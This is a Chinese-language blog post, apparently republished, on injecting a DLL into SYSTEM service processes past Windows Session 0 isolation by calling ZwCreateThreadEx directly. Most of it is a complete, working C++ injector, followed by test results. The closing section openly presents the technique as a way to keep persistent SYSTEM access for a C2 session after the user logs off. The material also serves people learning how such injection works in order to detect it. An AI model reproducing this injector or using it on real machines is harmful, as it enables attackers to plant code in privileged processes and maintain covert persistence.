遠程執行緒注入DLL突破session 0 隔離
0x00 前言
補充上篇的遠程執行緒注入,突破系統SESSION 0 隔離,向系統服務行程中注入DLL,
0x01 介紹
通過CreateRemoteThread實作的遠程執行緒注入,流程大致就是:
通過OpenProcess獲取目標行程句柄,
通過VirtualAllocEx在目標行程空間中申請記憶體,通過WriteProcessMemory放入需要載入的dll的路徑,
通過GetModuleHandleA獲取諸如kernel32.dll這類系統dll的模塊句柄,進而獲取LoadLibraryA這類載入元件的函式地址(固定)
通過CreateRemoteThread的引數傳入目標行程物件句柄、寫入到目標行程空間的dll路徑、LoadLibraryA函式地址,實作中目標中創建多執行緒加載dll,
而如果想要突破SESSION 0隔離,實作遠程執行緒注入,則是使用比CreateRemoteThread更底層的內核API ZwCreateThreadEx,
這里補充下SESSION 0隔離是什么,
SESSION 0 隔離:
https://docs.microsoft.com/zh-cn/previous-versions/msdn10/Ee791007(v=MSDN.10)
https://docs.microsoft.com/zh-cn/previous-versions/ee663077(v=msdn.10)?redirectedfrom=MSDN
在Windows XP、Windows Server 2003,以及更老版本的Windows作業系統中,服務和應用程式使用相同的會話(Session)運行,而這個會話是由第一個登錄到控制臺的用戶啟動的,該會話就叫做Session 0,
而從Windows Vista開始,只有服務可以托管到Session 0中,用戶應用程式和服務之間會被隔離,并需要運行在用戶登錄到系統時創建的后續會話中,例如第一個登錄的用戶創建 Session 1,第二個登錄的用戶創建Session 2,以此類推,如下圖所示,

為了避免應用程式權限混亂造成的風險,微軟提供了SESSION 0 隔離機制,而攻擊者為了提升權限操作服務擁有的權限(SYSTEM)則又了突破SESSION 0 隔離,
這里ZwCreateThreadEx函式在不同位數的系統擁有不同的函式宣告,
ZwCreateThreadEx函式宣告:
#ifdef _WIN64
typedef DWORD(WINAPI *typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
#else
typedef DWORD(WINAPI *typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
#endif
為什么CreateRemoteThread不能實作系統服務行程DLL注入?
書里直接解釋的是由于SESSION 0隔離機制在內核6.0之后(vista、7、8...),當創建一個行程后,并不會立即運行,通過先掛起行程,查看要運行的行程所在會話層之后再決定是否恢復行程運行(待逆向觀察),
而CreateRemoteThread實作內部呼叫了ZwCreateThreadEx創建遠程執行緒,但是CreateSuspended的引數值為1導致執行緒無法恢復運行,導致DLL注入失敗,
而我們只需要直接呼叫ZwCreateThreadEx,并在程式運行指定CreateSuspended為0即可實作遠程執行緒注入DLL突破SESSION 0隔離,
0x02 編碼實作
由于ZwCreateThreadEx函式在nydll.dll中沒有宣告,所以需要通過GetProcAddress獲取ZwCreateThreadEx的函式地址來呼叫,
InjectDll.h
#ifndef _INJECT_DLL_H_
#define _INJECT_DLL_H_
#include <Windows.h>
// 使用 ZwCreateThreadEx 實作遠執行緒注入
BOOL ZwCreateThreadExInjectDll(DWORD dwProcessId, char* pszDllFileName);
#endif
Test_Session0_injectPID.cpp
// Test_Session0_injectPID.cpp : 此檔案包含 "main" 函式,程式執行將在此處開始并結束,
//
#include <iostream>
#include "InjectDll.h"
void ShowError(char* pszText)
{
char szErr[MAX_PATH] = { 0 };
::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
::MessageBox(NULL, szErr, "ERROR", MB_OK);
}
// 使用 ZwCreateThreadEx 實作遠執行緒注入
BOOL ZwCreateThreadExInjectDll(DWORD dwProcessId, char* pszDllFileName)
{
HANDLE hProcess = NULL;
SIZE_T dwSize = 0;
LPVOID pDllAddr = NULL;
FARPROC pFuncProcAddr = NULL;
HANDLE hRemoteThread = NULL;
DWORD dwStatus = 0;
// 打開注入行程,獲取行程句柄
hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (NULL == hProcess)
{
ShowError("OpenProcess");
return FALSE;
}
// 在注入行程中申請記憶體
dwSize = 1 + ::lstrlen(pszDllFileName);
pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
if (NULL == pDllAddr)
{
ShowError("VirtualAllocEx");
return FALSE;
}
// 向申請的記憶體中寫入資料
if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))
{
ShowError("WriteProcessMemory");
return FALSE;
}
// 加載 ntdll.dll
HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll");
if (NULL == hNtdllDll)
{
ShowError("LoadLirbary");
return FALSE;
}
// 獲取LoadLibraryA函式地址
pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
if (NULL == pFuncProcAddr)
{
ShowError("GetProcAddress_LoadLibraryA");
return FALSE;
}
// 獲取ZwCreateThread函式地址
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
#endif
typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
if (NULL == ZwCreateThreadEx)
{
ShowError("GetProcAddress_ZwCreateThread");
return FALSE;
}
// 使用 ZwCreateThreadEx 創建遠執行緒, 實作 DLL 注入
dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
if (NULL == hRemoteThread)
{
ShowError("ZwCreateThreadEx");
return FALSE;
}
// 關閉句柄
::CloseHandle(hProcess);
::FreeLibrary(hNtdllDll);
return TRUE;
}
int main(int argc, char* argv[])
{
#ifndef _WIN64
BOOL bRet = ZwCreateThreadExInjectDll(atoi(argv[1]), argv[2]);
#else
BOOL bRet = ZwCreateThreadExInjectDll(atoi(argv[1]), argv[2]);
#endif
if (FALSE == bRet)
{
std::cout << "Inject Dll Error.\n";
}
std::cout << "Inject Dll OK.\n";
return 0;
}
0x03 效果測驗
通過procexp可查看行程所屬session,

撰寫了多個位數的inject 程式,多個位數的dll,
結果發現:
x64 inject程式遠程執行緒注入x64 dll到x64可行,
x64 inject程式遠程執行緒注入x86 dll到x64可行,但是沒成功到目標x64程式,
X86 inject程式遠程執行緒注入x64 dll到x64不可行,
X86 inject程式遠程執行緒注入x86 dll到x64不可行,

測驗成功注入DLL到SESSION 0行程,
0x04 總結
會話隔離會導致諸多問題,比如一個c2的會話是system,不能截屏看到用戶界面,只能以用戶權限行程螢屏截屏,不過這里突破session 0到系統服務后可以方便維權,只要機器不關,就算用戶退出登錄,也可以持久維權,
0x05 參考
https://www.cnblogs.com/gnielee/archive/2010/04/07/session0-isolation-part1.html
https://www.cnblogs.com/gnielee/archive/2010/04/08/session0-isolation-part2.html
https://docs.microsoft.com/zh-cn/previous-versions/msdn10/Ee791007(v=MSDN.10)
https://docs.microsoft.com/zh-cn/previous-versions/ee663077(v=msdn.10)?redirectedfrom=MSDN
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/300131.html
標籤:其他
